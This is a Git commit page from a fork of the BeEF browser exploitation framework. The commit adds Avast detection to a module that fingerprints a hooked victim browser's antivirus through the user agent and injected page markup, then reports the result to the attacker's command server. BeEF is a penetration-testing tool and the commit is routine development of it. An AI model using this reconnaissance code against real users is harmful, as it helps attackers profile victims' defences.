Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add Avast (ASW) detection to the detect_av module

Browse Source
This commit is contained in:
phosphore
2016-10-25 15:49:53 +02:00
parent 7319868956
commit e10135e782
2 changed files with 5 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
modules/host/detect_antivirus/command.js
View File

@@ -20,8 +20,11 @@ beef.execute(function() {
ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML;
var AV = document.getElementById("abs-top-frame");
var NAV = document.getElementById("coFrameDiv");
var ASWregexp = new RegExp("ASW\/");
//Detection of av elements ends
if (ASWregexp.test(navigator.userAgent))
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avast');
if (ka.indexOf("kasperskylab_antibanner") !== -1)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky');
else if (ka.indexOf("netdefender/hui/ndhui.js") !== -1)
@@ -37,4 +40,4 @@ beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb');
else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected');
});
});

2
modules/host/detect_antivirus/config.yaml
View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Host"
name: "Detect Antivirus"
description: "This module detect the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, BitDefender, Norton, Dr. Web)"
description: "This module detect the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, Avast (ASW), BitDefender, Norton, Dr. Web)"
authors: ["phosphore","vah13","nbblrr"]
target:
working: ["ALL"]